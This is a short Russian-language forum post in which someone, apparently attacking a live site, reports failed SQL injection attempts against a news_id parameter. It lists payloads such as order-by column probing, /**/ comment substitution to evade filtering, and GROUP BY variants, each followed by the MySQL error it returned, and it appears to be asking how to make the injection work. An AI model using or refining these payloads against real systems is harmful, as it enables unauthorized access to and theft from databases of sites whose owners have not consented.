Так точно. Но при:
1'+order+by+1+--
Выдает:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order+by+1+--' and pd.news_id = '1'+order+by+1+--' and pd.language_id ='1'' at line 1
А при:
1'/**/order/**/by/**/1/**/--
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '79'' and pd.news_id ='1'' at line 1
+GROUP+BY+1+--
Также не помогает.